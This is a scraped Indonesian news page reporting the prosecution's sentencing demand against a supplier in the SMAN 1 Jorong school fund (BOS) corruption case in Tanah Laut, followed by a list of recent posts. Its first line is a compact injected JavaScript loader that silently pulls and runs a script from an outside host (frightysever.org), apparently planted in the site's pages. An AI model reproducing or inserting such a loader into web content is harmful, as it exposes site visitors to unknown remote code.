(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Korupsi Dana BOS SMAN 1 Jorong Penyedia Dituntut 1 Tahun 9 Bulan Penjara


KANALKALIMANTAN.COM BANJARMASIN – Terdakwa kedua kasus korupsi dana Bantuan Operasional Sekolah (BOS) SMAN 1 Jorong, Kabupaten Tanah Laut, Kalsel Yana Mulyana dituntut Jaksa Penuntut Umum (JPU) 1 tahun 9 bulan penjara.

Tuntutan itu dibacakan JPU dari Kejari Tanah Laut di ruang sidang Pengadilan Tindak Pidana Korupsi Banjarmasin, Rabu (30/8/2023) siang.

“Menjatuhkan pidana penjara 1 tahun 9 bulan dikurangi selama masa tahanan dengan perintah agar tetap ditahan, dan pidana denda Rp100 juta subsider 6 bulan kurungan,” ucap JPU Kevin Riana.

Baca juga: Pengedar Ditangkap, GR Miliki Seribu Ekstasi dan 500 Gram Sabu

Dalam tuntutan itu, Yana Mulyana dinyatakan tidak terbukti secara sah melanggar pasal 2 Jo pasal 18 Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana dakwaan primer.

Namun, ia dinyatakan terbukti secara sah melanggar pasal 3 Jo pasal 18 Undang-Undang Pemberantasan Korupsi Jo pasal 55 ayat (1) KUHP.

Untuk itu terdakwa Yana Mulyana juga dibebankan membayar uang pengganti kerugian negara sebesar Rp45.073.000.

Baca juga: Ditantang Kelahi Dilempari Puntung Rokok Kabid Sendiri, Kasatpol PP Banjar Lapor Polisi

“Jika tidak membayar uang pengganti paling lama setelah putusan inkrah, maka harta benda nya disita oleh Jaksa dan dilelang untuk menutupi uang pengganti. Dalam hal tidak dapat membayar uang pengganti maka dipidana selama 10 bulan kurungan,” kata JPU di hadapan majelis hakim yang ketua Jamser Simanjuntak.

Dikatakan JPU, hal yang memberatkan terdakwa yaitu tidak mendukung program pemerintah terhadap pemberantasan korupsi serta telah merugikan keuangan negara.

“Sedangkan yang meringankan, terdakwa bersikap sopan selama mengikuti persidangan,” ujarnya.

Baca juga: Atimah Kumpulkan Beras dari Kebakaran Pasar Teluk Tiram Laut

Dalam pertimbangannya, terdakwa Yana Mulyana selaku pihak penyedia barang terbukti melakukan korupsi dana BOS SMAN Jorong tahun anggaran 2021 sebesar Rp71 juta, dengan catatan Rp26 juta telah dibebankan kepada terpidana mantan Kepsek SMAN Jorong Hariyadi.

Yana Mulyana yang seharusnya menyediakan 5 Personal Computer (PC) dengan harga Rp9 juta per PC untuk SMAN 1 Jorong digantinya dengan notebook, sehingga perbuatannya merugikan negara Rp45 juta.

Kasus korupsi ini sebelumnya menyeret mantan Kepala Sekolah (Kepsek) SMAN Jorong Hariyadi yang telah divonis hakim bersalah dengan hukuman 1 tahun 6 bulan penjara serta membayar uang pengganti Rp246 juta.

Baca juga: Zainal Fuad Bawa Kalsel Sabet Dua Kategori di Ajang Kreativesia 2023

Hasil perhitungan Inspektorat, total kerugian negara pada kasus korupsi dana BOS SMAN 1 Jorong ini yaitu sebesar Rp291.417.567.

Usai pembacaan tuntutan, Yana Mulyana melalui penasehat hukumnya mengatakan akan mengajukan pembelaan (pledoi) pada sidang berikutnya. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Soal Pungutan Acara Perpisahan Siswa, Ini Kata Ketua DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyikapi persoalan iuran kegiatan acara… Read More

2 jam ago

Pungutan Acara Perpisahaan Siswa, Begini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU – Menyikapi pungutan acara perpisahan siswa sekolah di Banjarbaru, Wali Kota Banjarbaru Aditya… Read More

3 jam ago

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

13 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

14 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

14 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

14 jam ago

This website uses cookies.